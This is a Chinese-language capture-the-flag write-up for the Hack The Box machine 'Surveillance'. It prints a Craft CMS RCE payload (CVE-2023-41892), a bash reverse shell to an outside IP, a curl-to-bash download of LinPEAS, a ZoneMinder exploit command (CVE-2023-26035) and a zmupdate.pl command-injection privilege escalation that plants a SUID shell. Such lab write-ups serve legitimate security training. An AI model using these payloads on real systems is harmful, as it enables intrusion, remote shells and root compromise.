0%

Surveillance

CVE-2023-41892、CVE-2023-26035

Surveillance

信息搜集

nmap扫描端口

1
nmap -sV -sC -v -p- --min-rate 1000 10.10.11.245

扫出来两个端口,其中80端口有http服务并且重定向到surveillance.htb

那么我们添加下域名然后访问80端口,发现是企业网站尝试扫描子域名和目录无果后,用Wappalyzer插件看看

得知是Craft CMS后,去网上搜一下发现存在远程代码执行漏洞(CVE-2023-41892) 参考文章

payload

1
action=conditions/render&test[userCondition]=craft\elements\conditions\users\UserCondition&config={"name":"test[userCondition]","as xyz":{"class":"\\GuzzleHttp\\Psr7\\FnStream",    "__construct()": [{"close":null}],"_fn_close":"phpinfo"}}

抓包修改为POST请求,添加payload成功RCE

仔细分析此payload的执行过程,原来是调用call_user_func函数只有一个参数,想反弹shell就卡住了

getshell

我在GitHub上找到写好的getshell脚本 脚本链接

成功反弹

由于不稳定,我们反弹到自己机子上

1
bash -c "bash -i >& /dev/tcp/10.10.14.74/1028 0>&1"

我们注意到/craft/storage/backups目录下有zip文件

先开启http服务,用wget下载下来查看

解压后打开看发现有信息泄露

直接拿join爆破一下,结果出现报错,提示使用其他哈希类型

最终在类型为Raw-SHA256爆破成功得到密码

知道密码后我们直接ssh连接(这里是用户matthew)

得到user的flag

然后就没有收获了,于是我们决定进行更深层的探测潜在的特权提升路径和漏洞

使用工具LinPEAS,我们现在本地开启http服务,然后使用curl命令去弹

1
curl http://10.10.14.74:8000/linpeas.sh | bash

成功得到连接数据库的密码

当然也可以得到用户名

然后就进行mysql连接

1
mysql -u craftuser -p -h localhost

然后在craftdb中的users表找到admin的相关信息

使用john爆破失败

回头继续分析,发现8080端口开放

那么我们使用ssh进行端口转发至本地的777端口

1
ssh -L 777:localhost:8080 matthew@10.10.11.245

然后在浏览器访问本地777端口,发现是ZoneMinder

网上搜到ZoneMinder 代码执行漏洞(CVE-2023-26035)

GitHub上有现成的poc 参考链接

1
python3 exploit.py -t http://localhost:777/ -ip 10.10.14.74 -p

本地转发的777端口为target,然后1028为nc监听的端口

提权

连接到后sudo -l看看可执行的命令

下面这些二进制文件都可以执行,参考其他师傅wp可以知道在zmupdate.pl文件存在漏洞

具体是指参数user的值可以为文件,那么我们可以上传shell脚本然后利用其user参数实现getshell

过程如下,写入并赋予suid可执行权限

1
2
echo 'cp /bin/bash /var/tmp/bash;chmod 4755 /var/tmp/bash' > /var/tmp/exploit.sh
chmod +x /var/tmp/exploit.sh

然后再执行刚刚说的利用参数user

1
sudo /usr/bin/zmupdate.pl --version=1.36.32 --user='$(/var/tmp/exploit.sh)' --pass=ZoneMinderPassword2023

执行完后我们再/var/tmp/bash -p得到完整的root权限

得到flag